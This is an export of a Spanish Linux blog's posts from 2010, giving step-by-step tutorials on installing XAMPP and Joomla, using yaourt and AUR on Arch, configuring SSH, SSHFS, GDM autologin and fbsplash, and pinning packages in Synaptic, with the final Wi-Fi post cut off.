tag:blogger.com,1999:blog-24570575554373256892024-02-08T05:22:58.695+01:00Vaya Linux!!!Software libre y algo mas...vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.comBlogger24125tag:blogger.com,1999:blog-2457057555437325689.post-54754228965032180382010-11-18T11:00:00.002+01:002010-11-18T11:00:01.051+01:00Instalar XAMPP en debian<div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinhyXQUBqnXi0jNJ78fr-anWndeurVr5kN3EQN7HtILPp66MYeLh_Wsh9-0JIwtgTSPbP51Qoi6Tk5d3aMLzkca0PpzkjJ5KMjNM56x3HM89Vd3fZ9ZVdNfXUP7DfaWe0cKq5JwWzy5ak/s1600/apache_friends.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinhyXQUBqnXi0jNJ78fr-anWndeurVr5kN3EQN7HtILPp66MYeLh_Wsh9-0JIwtgTSPbP51Qoi6Tk5d3aMLzkca0PpzkjJ5KMjNM56x3HM89Vd3fZ9ZVdNfXUP7DfaWe0cKq5JwWzy5ak/s1600/apache_friends.png" /></a>A diferencia de lo que ocurre en Arch, en el caso de Debian, XAMPP no está disponible para instalar desde los repositorios. A pesar de esto, su instalación resulta realmente sencilla.</div><br />
<a name='more'></a>1. Descargamos XAMPP desde su <a href="http://www.apachefriends.org/en/xampp-linux.html#374">página oficial</a> .<br />
<br />
2. Descomprimimos el archivo descargado utilizando el siguiente comando:<br />
<br />
<i> # tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt</i><br />
<br />
3. Ya tenemos XAMPP instalado en el directorio <i>/opt/lampp .</i><br />
<br />
4. Lo iniciamos con una simple orden:<br />
<br />
<i># /opt/lampp/lampp start</i><br />
<br />
5. Comprobamos que funciona accediendo a la dirección <a href="http://localhost/"><i>http://localhost</i></a> .vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com1tag:blogger.com,1999:blog-2457057555437325689.post-87984940198243902902010-11-15T10:00:00.000+01:002010-11-15T10:00:03.742+01:00Instalar Joomla y XAMPP en Arch<div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMnnQ8FjLf9sjkphD07-9jmur7-HqArwtiJrd05IuN9cPfFDNzkd-JrtG3zA6j1qqVZYAOm7lIpV8rD28cnBr35xFqGdixh9CtRftuaB8HTUakEHpcDhULregAleLw878_0e8f5-C-4ZE/s1600/xampp.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMnnQ8FjLf9sjkphD07-9jmur7-HqArwtiJrd05IuN9cPfFDNzkd-JrtG3zA6j1qqVZYAOm7lIpV8rD28cnBr35xFqGdixh9CtRftuaB8HTUakEHpcDhULregAleLw878_0e8f5-C-4ZE/s1600/xampp.gif" /></a>No hace mucho, me decidí a instalar el gestor de contenidos <a href="http://es.wikipedia.org/wiki/Joomla%21">Joomla</a> para emepzar a conocerlo y enredar un poco con él. Buscando información sobre como instalarlo en Arch, ví que la forma más sencilla es instalando previamente <a href="http://www.apachefriends.org/es/xampp.html">XAMPP</a>, que incluye todo lo necesario para el correcto funcionamiento de Joomla. </div><div style="text-align: justify;"></div><a name='more'></a><br />
<div style="text-align: justify;">Xampp lo podemos encontrar en los repositorios AUR, por lo que su instalación es tan secilla como:</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><i># yaourt -S xampp</i></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">En unos minutos lo tendremos descargado y listo para funcionar.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Ahora descargamos Joomla desde su <a href="http://www.joomla.org/download.html">página oficial</a> y lo descomprimimos en una carpeta dentro de nuestro directorio home:</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><i># unzip Joomla_1.5.21-Stable-Full_Package.zip -d DirectorioDeDestino</i></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Una vez descomprimido, debemos configurar el servidor Apache:</div><br />
<i># nano /opt/lampp/etc/httpd.conf</i><br />
<br />
Buscamos la sección directory y la editamos así:<br />
<br />
<i>Alias /nombrecorto /ruta_al_direcotiro_joomla </i><br />
<i><directory /ruta_al_direcotiro_joomla> </i><br />
<i> AllowOverride FileInfo Limit Options Indexes </i><br />
<i> Order allow,deny </i><br />
<i> Allow from all </i><br />
<i></directory> </i><br />
<br />
Iniciamos el servidor Apache :<br />
<br />
<i># /opt/lampp/lampp start</i><br />
<br />
Ya podemos abrir el navegador e ir a la http://localhost/joomla para comenzar el proceso de instalación.<br />
<br />
Es posible que, como me ha ocurrido a mí, nos aparezcan un montón de errores al abrir la página de nuestro Joomla. Si esto ocurre tendremos que modificar el archivo php.ini :<br />
<br />
<i># nano /opt/lampp/etc/php.ini</i><br />
<br />
Buscamos la línea <br />
<br />
<i>error_reporting = E_ALL | E_STRICT</i><br />
<br />
Y la dejamos así :<br />
<br />
<i>error_reporting = E_ALL<br />
;| E_STRICT</i><br />
<br />
Ahora sí, debería funcionar perfectamente.<br />
<br />
<div style="text-align: right;"><span style="font-size: x-small;">fuentes : <a href="http://wiki.archlinux.org/index.php/Xampp">http://wiki.archlinux.org/index.php/Xampp</a></span></div><br />
<br />
<br />
<br />
<br />
<div style="text-align: justify;"> </div>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-85964537774659253572010-11-12T09:00:00.000+01:002010-11-12T09:00:03.040+01:00Calcular el valor md5 de un archivoHay ocasiones en las que puede resultarnos útil obtener el valor md5 de algún archivo. Tres sencillos pasos serán suficientes para obtener el mencionado valor:<br />
<br />
1. Creamos la suma md5<br />
<br />
<i># md5sum archivo.txt > archivo.md5</i> <br />
<a name='more'></a><br />
2. Comprobamos que el valor es correcto <br />
<br />
<i># md5sum -c archivo.md5 </i><br />
<i> archivo.txt: La suma coincide</i><br />
<br />
3. Obtenemos el valor md5<br />
<br />
<i># cat archivo.md5 <br />
2ef9d191b7732f59aec13628e4dd8002 archivo.txt</i><br />
<br />
<br />
<br />
<div style="text-align: right;"><span style="font-size: x-small;">fuente : <a href="http://nosoyeljano.wordpress.com/2007/11/13/calcular-suma-md5-de-un-archivo/">http://nosoyeljano.wordpress.com/</a></span></div>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-88732840512513134082010-11-09T08:00:00.000+01:002010-11-09T08:00:05.219+01:00Elegant Gnome en Arch<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6IzaNFmynyw33XWCg4nCU3JikETrUVgNNhvGJ3FKLICimOsqVWRyEqHII2KjQcX3wv-XxJn_qR9Wu9w_DKDiOm8b7dc3q23T2QsYCpjRoNALBZp5DGde3UBJeo1gfkiipwIYgvc4FQQ0/s1600/Elegant-GNOME.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="173" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6IzaNFmynyw33XWCg4nCU3JikETrUVgNNhvGJ3FKLICimOsqVWRyEqHII2KjQcX3wv-XxJn_qR9Wu9w_DKDiOm8b7dc3q23T2QsYCpjRoNALBZp5DGde3UBJeo1gfkiipwIYgvc4FQQ0/s200/Elegant-GNOME.jpg" width="200" /></a></div><div style="text-align: justify;">Buscando un tema que me gustase para mi escritorio, encontré <a href="http://gnome-look.org/content/show.php/Elegant+Gnome+Pack?content=127826">Elegant Gnome</a> , un tema oscuro y, como su nobre indica, elegante, para nuestro Gnome. Instalarlo en Arch es realmente sencillo ya que se encuentra en los repositorios AUR y bastará un simple comando para disfrutar de él:</div><br />
<a name='more'></a><br />
<br />
#<i>yaourt -S elegant-gnome</i><br />
<br />
<div style="text-align: justify;">Una vez instalado, debemos ir a <i>Aplicaciones > Accesorios > Elegant GNOME </i>, selecionar <i>Install the pack</i> y el solito se instala. Si no nos gusta, podemos desinstalarlo fácilmente con la opción <i>Restore the previous settings</i>.</div>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-809987285051145662010-11-06T12:23:00.000+01:002010-11-06T12:23:00.095+01:00Instalar software de AUR con yaourt<div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv1NX19TrQQ7DSTjkS_yZFuqz32Y4XRD_jQuEXgkHrtQ6VOq1osaqxQpVn9HHVwseGbdjj1jw86jtAzxaDJW76FoT28t4o2BdLyBMHNN-s0w86LhJ7SwssMXf0VgJWYLZLp8F2HHwa3uQ/s1600/yaourt.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="136" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjv1NX19TrQQ7DSTjkS_yZFuqz32Y4XRD_jQuEXgkHrtQ6VOq1osaqxQpVn9HHVwseGbdjj1jw86jtAzxaDJW76FoT28t4o2BdLyBMHNN-s0w86LhJ7SwssMXf0VgJWYLZLp8F2HHwa3uQ/s200/yaourt.jpg" width="200" /></a><a href="http://wiki.archlinux.org/index.php/AUR">AUR</a> es un repositorio para los usuarios de Arch manejado por la comunidad. En él podemos encontrar software que no se encuentra en los repositorios oficiales.</div><div style="text-align: justify;">La forma mas sencilla para instalar lo programas disponibles en el repositorio AUR, es mediante el comando <i>yaourt</i>, que no se encontrará disponible hasta que lo instalemos. Para acceder al repositorio AUR y disfrutar de todo el software que en él se encuentra tendremos que hacer lo siguiente:</div><a name='more'></a><br />
1. Instalamos el paquete <i>base-devel</i><br />
<br />
#pacman -S <i>base-devel</i><br />
<br />
2. Editamos el archivo /etc/pacman.conf<br />
<br />
#nano /etc/pacman.conf<br />
<br />
y añadimos el repositorio <i>archlinuxfr</i><br />
<br />
[archlinuxfr]<br />
Server = <a href="http://repo.archlinux.fr/$arch">http://repo.archlinux.fr/$arch</a><br />
<br />
3.Sincronizamos e instalamos <i>yaourt</i><br />
<br />
#<i>pacman -Syu yaourt</i><br />
<br />
Ya esta listo, su funcionamiento es similar al de pacman:<br />
<br />
1.Buscar un programa<br />
<br />
<i>#yaourt -Ss NombrePrograma</i><br />
<br />
2. Instalar un programa<br />
<br />
<i>#yaourt -S NombrePrograma</i><br />
<br />
<br />
<div style="text-align: right;"><span style="font-size: x-small;">fuente: <a href="http://wiki.archlinux.org/index.php/Yaourt#From_the_AUR">http://wiki.archlinux.org/index.php/Yaourt#From_the_AUR</a> </span></div><div style="text-align: right;"><br />
</div><div style="text-align: right;"><br />
</div>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-25104434800459350322010-11-03T09:15:00.001+01:002010-11-03T09:15:00.096+01:00Autologin en Arch<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj62gVQgVlBIkz2aGE6ZTBdlrktV53F9cOPZfXFgvqNn6BGzQQmvlN7P2WTiMc5yGaEgZ1-uknNivGQ7PzQq68x0xXJ-aYOgHPMiqAClK6cc5DG9moeZIPSo8mOC4tutLnVcaOVNOA1hF4/s1600/gdm.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="148" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj62gVQgVlBIkz2aGE6ZTBdlrktV53F9cOPZfXFgvqNn6BGzQQmvlN7P2WTiMc5yGaEgZ1-uknNivGQ7PzQq68x0xXJ-aYOgHPMiqAClK6cc5DG9moeZIPSo8mOC4tutLnVcaOVNOA1hF4/s200/gdm.jpg" width="200" /></a></div><div style="text-align: justify;">El tener que introducir mi usuario y contraseña cada vez que enciendo el ordenador siempre me a parecido una pérdida de tiempo y nunca me ha parecido de gran utilidad. Por eso prefiero deshabilitar esta característica y acceder directamente al escritorio. Pues bien, si queremos hacer esto en Arch, basta con editar el archivo <i>/etc/gdm/custom.conf </i>y añadir un par de líneas...<i></i></div><i><a name='more'></a> </i><br />
<i>#nano /etc/gdm/custom.conf </i><br />
<br />
Y en la sección <i>daemon</i> agregamos lo siguiente:<br />
<br />
<i>[daemon]<br />
AutomaticLoginEnable=true<br />
AutomaticLogin=NombreDeUsuario</i><br />
<br />
Tras el siguiente reinicio, accederemos sin necesidad de ingresar usuario y contraseña.vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-7522935840487981742010-10-30T08:00:00.001+02:002010-10-30T08:00:00.581+02:00Arranque gráfico en Arch con fbsplash<div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyS7w6Kan5n1JNNqpAyHCg3UVuCou3To3MdxZRXF5x3q_g9s3G3sk2e0hs3cuUUF5Pg6VPhczfPWSRtV7xL6_QhP2qSpYNShl2VXewhGrLb2imNbFcXY_wvzkf10ANhi_twYdD2TnX_4/s1600/arch-fbsplash.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwyS7w6Kan5n1JNNqpAyHCg3UVuCou3To3MdxZRXF5x3q_g9s3G3sk2e0hs3cuUUF5Pg6VPhczfPWSRtV7xL6_QhP2qSpYNShl2VXewhGrLb2imNbFcXY_wvzkf10ANhi_twYdD2TnX_4/s200/arch-fbsplash.jpg" width="200" /></a>Como no me gusta mucho el típico arranque de Arch, texto y mas texto, he decidido cambiarlo e instalar una bonita pantalla de carga al estilo Ubuntu. Después de probar unas cuantas opciones, con más pena que gloria, me he inclinado por <i>fbsplash</i>, fácil de instalar y configurar y además bastante chulo.</div><div style="text-align: justify;"></div><br />
<br />
<a name='more'></a>1. Instalamos <i>fbsplash</i> desde AUR:<br />
<br />
<i>#yaourt -Syu fbsplash</i><br />
<br />
2. La instalación de fbsplash no incluye ningún tema por defecto, así que hay que descargarlo. <a href="http://gnome-look.org/">Gnome-look</a> o <a href="http://kde-look.org/">Kde-look</a> son buenos sitios para buscar.<br />
<br />
3. Cuando tengamos el tema descargado lo movemos a /etc/splash/.<br />
<br />
4. Agregamos el tema al archivo de configuración de fbsplash<br />
<br />
<i>#nano /etc/conf.d/splash</i><br />
<br />
SPLASH_THEMES=( <br />
tema_nuevo <br />
)<br />
<br />
5. Añadimos fbsplash a los HOOKS de /etc/mkinitcpio.conf<i> </i><br />
<i>HOOKS="base udev fbsplash ..." </i><br />
<br />
6. Si tenemos una tarjeta gráfica intel, podemos añadir el módulo correspondiente en la sección MODULES. En este caso la tarjeta es una 915GM.<i> </i><br />
<br />
<i>MODULES="intel_agp i915"</i><br />
<br />
7. Reconstruimos la imagen del kernel<br />
<br />
<i>#mkinitcpio -p kernel26</i><br />
<br />
8. Editamos el archivo de configuración de grub<br />
<br />
<i>#nano /boot/grub/menu.lst</i><br />
<br />
y añadimos lo siguiente después de <i>kernel /vmlinuz26 root=/dev/disk/by-uuid/... ro</i><br />
<br />
Si hemos hecho el paso 6<br />
<br />
<i>logo.nologo quiet video=1280x800 console=tty1 splash=silent,fadein,fadeout,theme:arch-banner-icons</i><br />
<br />
Si no hemos hecho el paso 6<br />
<br />
<i>logo.nologo quiet nomodeset vga=792 console=tty1 splash=silent,fadein,fadeout,theme:arch-banner-icons</i><br />
<br />
Si todo ha ido bien, durante el proximo inicio del sistema debería aparecer la imagen del tema que hemos descargado.<br />
<br />
fuente : <a href="http://wiki.archlinux.org/index.php/Fbsplash">http://wiki.archlinux.org/index.php/Fbsplash </a>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com2tag:blogger.com,1999:blog-2457057555437325689.post-1003009533392236542010-10-27T12:20:00.000+02:002010-10-27T12:20:00.622+02:00Recuperar pantalla de carga de UbuntuAlguna vez me he encontrado con que al arrancar el sistema, la pantalla de carga de Ubuntu desparece y en su lugar se ve el proceso detallado del arranque. Esto no supone ningún problema porque todo funciona perfectamente, pero esta desaparición misteriosa de la pantalla de carga resulta un poco desconcertante.<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh40G_icFqDvcb0cifuEpDcR6aGR-wl6zXzWtzFHTj6P78JibQ1iR5P6Vs_bK8pmUvrcXVxVZ2tdffSZpEny0XBdaj2w_6XHFa-rjV3oU01Z1fzOekfFKHCt_DsPBahYIiMbsoLtjU7GIs/s1600/arranque_texto.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="141" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh40G_icFqDvcb0cifuEpDcR6aGR-wl6zXzWtzFHTj6P78JibQ1iR5P6Vs_bK8pmUvrcXVxVZ2tdffSZpEny0XBdaj2w_6XHFa-rjV3oU01Z1fzOekfFKHCt_DsPBahYIiMbsoLtjU7GIs/s400/arranque_texto.jpeg" width="400" /> </a></div><div class="separator" style="clear: both; text-align: center;"></div><a name='more'></a><br />
Una de las causas de este comportamiento puede ser un fallo en la configuración de la partición swap, que se puede solucionar siguiendo estos pasos:<br />
<br />
<i> 1. sudo blkid . Esto nos mostrará el UUID de las particiones.<br />
2. Comprobar que el UUID correspondiente a la swap coincide con el que aparece en el archivo /etc/fstab , en caso contrario debemos cambiarlo. Tambíén se puede eliminar el UUID del archivo /etc/fstab y poner el nombre de la parición (/dev/sdaX).<br />
3. Comprobar que el UUID coincide con el que aparece en el archivo /etc/initramfs-tools/conf.d/resume , en caso contrario cambiarlo.<br />
4. sudo update-initramfs -u .<br />
5. Reiniciar.</i><br />
<ul></ul>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-90654210055275547092010-10-24T08:08:00.010+02:002010-10-26T18:57:39.817+02:00Montar directorios con SSHFS<div style="text-align: justify;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmeMwJxqSJo1NasslKE-JvG2q3du_0Xe9Bl5fnESlDVKFsHr1oYgabjvyFBGb2n9WaJR0pLaZsh-EJgIjgdk8G14zlWhb8lYct0F86kpvzzX3UYJMWwej36srj6mH9brVf7vrRiQ3_Q8E/s1600/sshfs.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmeMwJxqSJo1NasslKE-JvG2q3du_0Xe9Bl5fnESlDVKFsHr1oYgabjvyFBGb2n9WaJR0pLaZsh-EJgIjgdk8G14zlWhb8lYct0F86kpvzzX3UYJMWwej36srj6mH9brVf7vrRiQ3_Q8E/s320/sshfs.jpg" width="320" /></a>Hace unos días explicaba <a href="http://vayalinux.blogspot.com/2010/10/configurar-ssh.html">como configurar SSH</a> para acceder remotamente a otro equipo. Pues bien, hoy daré otra vuelta de tuerca explicando como montar un directorio remoto usando un entorno seguro de acceso y trabajar con el como si nos encontásemos en un directorio local. </div><br />
Lo primero que tenemos que hacer es instalar un servidor SSH tal y como se explica <a href="http://vayalinux.blogspot.com/2010/10/configurar-SSH.html">aquí</a>. Una vez tenemos el servido en marcha podemos prepararnos para montar el directorio remoto:<br />
<br />
<a name='more'></a><br />
1. Instalamos <a href="http://es.wikipedia.org/wiki/Secure_Shell_Filesystem">SSHFS</a>, que nos permitirá acceder de forma segura a un directorio de otra máquina.<br />
<br />
<i>#aptitude install sshfs</i><br />
<br />
2. Cargamos el módulo <a href="http://es.wikipedia.org/wiki/FUSE_%28Linux%29">fuse</a> del kernel, necesario para montar el directorio, en memoria:<br />
<br />
<i>#modprobe fuse</i><br />
<br />
3. Creamos un directorio local (llamado directorio remoto) en el que montaremos el directorio remoto:<br />
<br />
<i>#mkdir /home/usuario/directorio_remoto</i><br />
<br />
4. Montamos el directorio remoto:<br />
<br />
<i>#sshfs usuario@equipo_remoto:path_dir_remoto /home/usuario/directorio_remoto</i><br />
<br />
Desde este momento podemos acceder a los archivos del directorio del equipo remoto como si estuviesen en nuestro propio equipo.<br />
<br />
Para desmontar el directorio:<br />
<br />
<i>#fusermount -u /home/usuario/directorio_remoto</i><br />
<br />
<br />
<div style="text-align: right;"><u>fuentes: <a href="http://wiki.archlinux.org/index.php/Sshfs">http://wiki.archlinux.org/index.php/Sshfs</a></u><i><br />
</i></div>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-15681448178715377352010-10-21T09:00:00.001+02:002010-10-21T09:00:03.302+02:00Configurar SSH<table><tbody>
<tr><td><br />
<div style="text-align: justify;"><a href="http://es.wikipedia.org/wiki/Secure_Shell">SSH</a> nos permitirá establecer una conexión segura entre dos equipos conectados a la red. A nivel doméstico es útil si, por ejemplo, contamos con un ordenador de sobremesa que funciona como servidor de archivos y no queremos instalarle ningún periférico. SSH nos permitirá controlar este servidor de manera remota mediante consola.</div></td><td><br />
<img align="right" border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvsDYsPEfEaQ-J-G0sz5QFzPIK_QJH7sjddOuLifnx9tzgdESgVTav3lbBwyOyjhyphenhyphenuThem_gSAGLK7ChdZN-aDaWztgPfOA13gzSQHH0rJOmBgd35coZD1Jk6IclfT8NWmX2n1i7JVgjQ/s320/ssh.jpg" width="320" /></td> </tr>
<tr><td colspan="2"><br />
Las conexiones mediante SSH son más útiles y potentes de lo que se pueda pensar en un primer momento, podemos instalar y desinstalar programas, matar procesos, copiar archivos...</td></tr>
</tbody></table><a name='more'></a><br />
El proceso de configuración del servidor SSH es el siguiente :<br />
<br />
Instalamos ssh<br />
<br />
<i> #aptitude install ssh</i><br />
<br />
Abrimos el archivo de configuración para editarlo<br />
<br />
<i> #gedit /etc/ssh/sshd_config</i><br />
<br />
Añadimos la dirección ip del equipo servidor (el mismo en el que nos encontramos) :<br />
<br />
ListenAddress 10.0.0.X<br />
<br />
Reiniciamos el servicio<br />
<br />
<i> #/etc/init.d/ssh restart</i><br />
<br />
Ya tenemos el equipo listo para aceptar conexiones entrantes mediante ssh. <br />
<br />
Ahora para conectarnos desde otro equipo, abrimos un terminal y ejecutamos:<br />
<br />
<i> #ssh usuario@10.0.0.X</i><br />
<br />
Nos solicitará la contraseña y, una vez introducidad correctamente, podemos comenzar a trabajar como si estuviesemos frente al equipo remoto.vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-38293403067942099842010-10-18T10:05:00.001+02:002010-10-18T18:14:14.516+02:00Forzar versión de paquetes<table><tbody>
<tr><td style="text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs4tC3mYtJgX9pzfvl8f-9ssXdEoeQ2fAatW2Tf5OQyRTQfSAcPE6aD1C9YTfmkw9glDHEVkSm3w_XpDhrdT_H2Jchwd5QBeS8qv8PgktUXLBlXoczD4p2sSfSDNOnWuv8IUhfMj-LmR0/s1600/forzar_paquete.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs4tC3mYtJgX9pzfvl8f-9ssXdEoeQ2fAatW2Tf5OQyRTQfSAcPE6aD1C9YTfmkw9glDHEVkSm3w_XpDhrdT_H2Jchwd5QBeS8qv8PgktUXLBlXoczD4p2sSfSDNOnWuv8IUhfMj-LmR0/s320/forzar_paquete.jpg" width="320" /></a></td> <td><br />
<div style="text-align: justify;">En una <a href="http://vayalinux.blogspot.com/2010/10/bloquear-actualizacion-de-paquetes.html">entrada anterior</a> hacía referencia a la posibilidad que nos ofrece Synaptic de bloquear un paquete para que no se actualice. Pues bien, otra de las posibilidades que nos ofrece este administrador de paquetes, es la de seleccionar la versión del paquete que queremos instalar.</div></td> </tr>
</tbody></table><br />
<a name='more'></a><br />
<br />
<div style="text-align: justify;">Son muchos los motivos que nos pueden llevar a instalar una versión concreta de un paquete (inestabilidad, incompatiblidiad, errores...) , si nos vemos en esta situación podemos proceder así:</div><div style="text-align: justify;"><div style="text-align: justify;"><br />
<i>1. Nos dirigimos a "Sistema > Administración > Gestor de Paquetes Synaptic" .</i></div><div style="text-align: justify;"><i>2. Seleccionamos el paquete sobre el que queremos actuar.</i></div><div style="text-align: justify;"><i>3. Vamos a "Paquete > forzar versión".</i></div><div style="text-align: justify;"><i>4. Seleccionamos del desplegable la versión del paquete que queremos instalar y pinchamos en forzar versión.</i></div><div style="text-align: justify;"><i>5. Aplicamos los cambios y listo.</i></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Si queremos mantener la versión que hemos forzado sin que se actualice, es suficiente con bloquear el paquete tal y como <a href="http://vayalinux.blogspot.com/2010/10/bloquear-actualizacion-de-paquetes.html">he explicado con anterioridad</a>.</div></div>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-89619270828350113302010-10-15T11:40:00.000+02:002010-10-15T11:40:00.734+02:00Bloquear actualización de paquetes<table><tbody>
<tr> <td><br />
<div style="text-align: justify;">El gestor de paquetes Synaptic nos oferece una funcion muy interesante para controlar la versión de un determinado paquete que queremos instalar. Es posible que queramos mantener la versión de uno o mas paquetes congelada y, a la vez, permitir la actualización de todo lo demás. Pues bien, esto lo conseguimos de la siguiente forma:</div></td> <td><br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgprYnOrNRxkzn3zWLJSoRB1sYCZqdsBiFO-BWA-YVKCQbdrgI6inopvYHucPhalUG2z-XKAokhCZJg0KFPPoEXI_ssbGParmzx39TGjqUu_hDwNhOk1CX7srLtDVqjPkfnSERSpOtAtuA/s1600/synaptic.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgprYnOrNRxkzn3zWLJSoRB1sYCZqdsBiFO-BWA-YVKCQbdrgI6inopvYHucPhalUG2z-XKAokhCZJg0KFPPoEXI_ssbGParmzx39TGjqUu_hDwNhOk1CX7srLtDVqjPkfnSERSpOtAtuA/s200/synaptic.jpg" width="200" /></a></div></td> </tr>
</tbody></table><div style="text-align: justify;"><br />
</div><div style="text-align: justify;"><i>1. Vamos a "Sistema > Administración > Gestor de paquetes Synaptic"</i></div><div style="text-align: justify;"><i>2. Buscamos el paquete que queremos que se mantenga congelado y lo seleccionamos.</i></div><div style="text-align: justify;"><i>3. Vamos a "Paquete > Bloquear versión".</i></div><a name='more'></a><br />
<div style="text-align: justify;">Ahora el paquete que hemos bloqueado aparecerá con un candado y marcado en rojo. Ésto nos indica que dicho paquete se encuentra bloqueado y que no se instalarán nuevas versiones del mismo.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Para desbloquearlo el proceso es similar:</div><div style="text-align: justify;"><i><br />
</i></div><div style="text-align: justify;"><i>1. Buscamos el paquete que queremos que se mantenga congelado y lo seleccionamos.</i></div><div style="text-align: justify;"><i>2. Vamos a "Paquete > Bloquear versión".</i></div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Ahora el candado desaparece y el paquete ya no se muestra en rojo.</div><div style="text-align: justify;"><br />
</div><div style="text-align: justify;">Esta opción es muy útil cuando intuimos que una actualización de un determiando paquete o programa puede darnos algún tipo de poblema. Si este es el caso, la solución es tan simple como la descrita mas arriba.</div>vayalinuxhttp://www.blogger.com/profile/10672128617203604694noreply@blogger.com0tag:blogger.com,1999:blog-2457057555437325689.post-67784685960814646422010-10-11T09:30:00.003+02:002010-10-11T09:30:00.483+02:00Wifi en Arch Linux<table><tbody>
<tr><td><div style="text-align: justify;">Hace unos días instalé, simplemente por curiosidad, Arch Linux en mi viejo portátil y lo cierto es que me sorprendió gratamente. Un sistema rápido y ligero, actualizado y 100% personalizable, donde el usuario controla absolutamente todo. </div><div style="text-align: justify;">Pero no todo ha sido tan bonito como parece, he de reconocer que he tenido algún problemilla en lo que se refiere a la configuración de mi tarjeta inalámbrica...</div></td><td><br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrrLQKzmRMZatVI-zAeIooL51-UCORudHNZTfDrVrOW3zW2wA34k8HQtKt9iEcRZY0SudlbIUKkC6k4tGXcxZrX594aKr5HUWR6pQ-a_4U5TrrLiF0VtiCJdW_h9Z_aWmp-AUD3hsrCW4/s1600/wicd.jpeg"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrrLQKzmRMZatVI-zAeIooL51-UCORudHNZTfDrVrOW3zW2wA34k8HQtKt9iEcRZY0SudlbIUKkC6k4tGXcxZrX594aKr5HUWR6pQ-a_4U5TrrLiF0VtiCJdW_h9Z_aWmp-AUD3hsrCW4/s1600/wicd.jpeg" /></a></td></tr>
</tbody></table><a name='more'></a><br />
<div style="text-align: justify;">A pesar de haber instalado el módulo correcto (ipw2200), no funcionaba como es debido, no era capaz de conectarme y, cuando lo conseguía, en cada reinicio había un intercambio entre eth0 y eth1.</div><div style="text-align: justify;">Finalmente, a base de insistir, he conseguido que las conexiones inalámbricas funcionen a la perfección con unas simplpes modificaciones:</div><div style="text-align: justify;"><br />
